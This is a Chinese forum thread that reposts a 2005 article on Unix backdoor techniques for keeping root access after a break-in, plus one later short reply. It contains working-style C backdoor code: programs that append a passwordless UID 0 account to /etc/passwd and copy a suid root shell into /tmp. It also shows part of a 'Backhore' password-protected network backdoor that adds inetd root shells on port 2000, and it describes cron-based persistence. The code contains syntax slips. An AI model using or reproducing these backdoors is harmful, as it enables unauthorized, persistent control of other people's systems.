黑客技术 2
申亚鹏吧
全部回复
仅看楼主
level 1
菜鸟后门技巧 副标题: 作者:佚名 文章来源:不详 点击数:634 更新时间:2005-9-18 本文的意旨是让你学会如何在完全控制系统后保留自己的根用户权限。这是黑客们非常热衷讨论的话题,但同时也应该是系统管理员们必须非常留意的。本文不可能列出所有的后门技巧,因为这些方法实在是太多了。但我会在文章中尽量解释那些通用的方法和技术。如果你作为(或者曾经作为)一名攻击者,花费了数周时间,才将一个帐号弄到手,但它的权限却实在可怜。这个系统据说非常安全,而你却希望能够更清楚地知道系统管理员究竟高明到什么程度。 于是你用尽了各种方法:IMAP、NIS、suid程序、错误的访问权限、进程竞争,等等,但仍然“不得其门而入”。最后,在一次偶然的情况下,你发现了系统管理员的一个小小失误,从而很快就获得了根用户权限。下一步要干什么呢?如何才能使你保留这个花费了如此长时间才完成的“艺术品”呢?[初级]最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。<++> backdoor/backdoor1.c#include main(){FILE *fd;fd=fopen("/etc/passwd","a+";fprintf(fd,"hax0r::0:0::/root:/bin/sh\n";}<-->比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件。)在 /tmp 目录下放置 suid shell。以后只要你运行这个程序,就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。<++> backdoor/backdoor2.c#include main(){system("cp /bin/sh /tmp/fid";system("chown root.root /tmp/fid";system("chmod 4755 /tmp/fid";}<-->[中级]超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检查该文件,因此这倒是个放置“后门”的好地方。 那么在这里如何建立一个最好的后门呢?当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先,让我们先来了解一下这方面的基础知识:inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下:(1) (2) (3) (4) (5) (6) (7)ftp stream tcp nowait root /usr/etc/ftpd ftpdtalk dgram udp wait root /usr/etc/ntalkd ntalkdmountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd1:第一栏是服务名称。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见。3:第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait。
2005年10月04日 15点10分 1
level 1
perror("accept";continue;}if (!fork()) {dup2(new_fd, 0);dup2(new_fd, 1);dup2(new_fd, 2);fgets(buf, 40, stdin);if (!strcmp(buf, pass)) {printf("%s", ask);cmd = getchar();handle(cmd);}close(new_fd);exit(0);}close(new_fd);while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */}} voidhandle(int cmd){FILE *fd;switch(cmd) {case '1':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("Trojaning rc.local\n";fd = fopen("/etc/passwd", "a+";fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh";fclose(fd);printf("Trojan complete.\n";break;case '2':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("Sending systemwide message..\n";system("wall Box owned via the Ethical Mutiny Crew";printf("Message sent.\n";break;case '3':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("\nAdding inetd backdoor... (-p)\n";fd = fopen("/etc/services","a+";fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n";fd = fopen("/etc/inetd.conf","a+";fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n";execl("killall", "-HUP", "inetd", NULL);printf("\ndone.\n";printf("telnet to port 2000\n\n";break;case '4':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("\nAdding Suid Shell... (-s)\n";system("cp /bin/sh /tmp/.sh";system("chmod 4700 /tmp/.sh";system("chown root:root /tmp/.sh";printf("\nSuid shell added.\n";printf("execute /tmp/.sh\n\n";break;case '5':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("\nAdding root account... (-u)\n";fd=fopen("/etc/passwd","a+";fprintf(fd,"hax0r::0:0::/:/bin/bash\n";printf("\ndone.\n";printf("uid 0 and gid 0 account added\n\n";break;case '6':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("Executing suid shell..\n";execl("/bin/sh";break;case '7':printf("\nBackhore BETA by Theft\n";printf("[email protected]\n";printf("\nInfo... (-i)\n";printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\n";printf("a root shell on port 2000. example: telnet 2000\n\n";printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n";printf("executed gives you a root shell. example:/tmp/.sh\n\n";printf("5 - Adds an account with uid and gid 0 to the passwd file.\n";printf("The login is 'mutiny' and there is no passwd.";break;case '8':printf("\nBackhore BETA by Theft\n";printf("\nhttp://theft.bored.org\n";printf("[email protected]\n\n";break;default:printf("unknown command: %d\n", cmd);break;}}<-->[高级]Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 3:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
2005年10月04日 15点10分 3
level 1
现在都实名的
2022年05月22日 06点05分 5
1